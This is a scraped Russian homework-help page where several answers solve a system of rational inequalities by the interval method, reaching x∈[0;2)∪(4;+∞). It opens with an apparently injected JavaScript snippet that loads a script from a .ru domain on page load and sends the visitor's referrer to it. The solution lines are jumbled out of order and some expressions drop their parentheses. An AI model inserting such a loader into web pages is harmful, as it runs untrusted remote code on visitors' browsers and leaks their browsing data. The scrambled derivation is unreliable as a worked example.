(function (w, d, n, s, t) { t = d.getElementsByTagName("script")[0]; s = d.createElement("script"); s.src = "//2640707.ru/smartrotator.js?referrer=" + escape(document.referrer); s.type = "text/javascript"; s.async = true; t.parentNode.insertBefore(s, t); })(window, document);

    x/(x-4)(x-3)≥0;

    x∈[0;2)U(3;+∞);

  •         
    Используем метод интервалов
    решаем первую систему уравнений,изображаем на координатной прямой точки 0;2;3;
                   +             --           +
    ____0_________2______3_______     x ∈ [0; 2) ∪ (3; +∞;).
    решаем вторую систему уравнений,изображаем на координатной прямой точки 0;3;4
                    +             --          +
    ____0_________3_______4____        x ∈ [0; 3) ∪ (4; +∞).

    выбираем интервалы, удовлетворяющие все условия
    ответ:x ∈ [0; 2)  ∪ (4; +∞).  

  • Рассмотрим как систему:

    x∈[0;3)U(4;+∞).

    4(x-3)-3(x-4)/(x-4)(x-3)≥0;

    3/(x-3)≥2/(x-2);

     

    x/(x-3)(x-2)≥0;

    x=0≠3;4.

     

    3x-6-2x+6/(x-3)(x-2)≥0;

    Итого х∈[0;2)U(4;+∞).

  • 3(x-2)-2(x-3)/(x-3)(x-2)≥0;

    x=0≠2;3.

    3/(x-3)≤4/(x-4);

    4x-12-3x+12/(x-4)(x-3)≥0;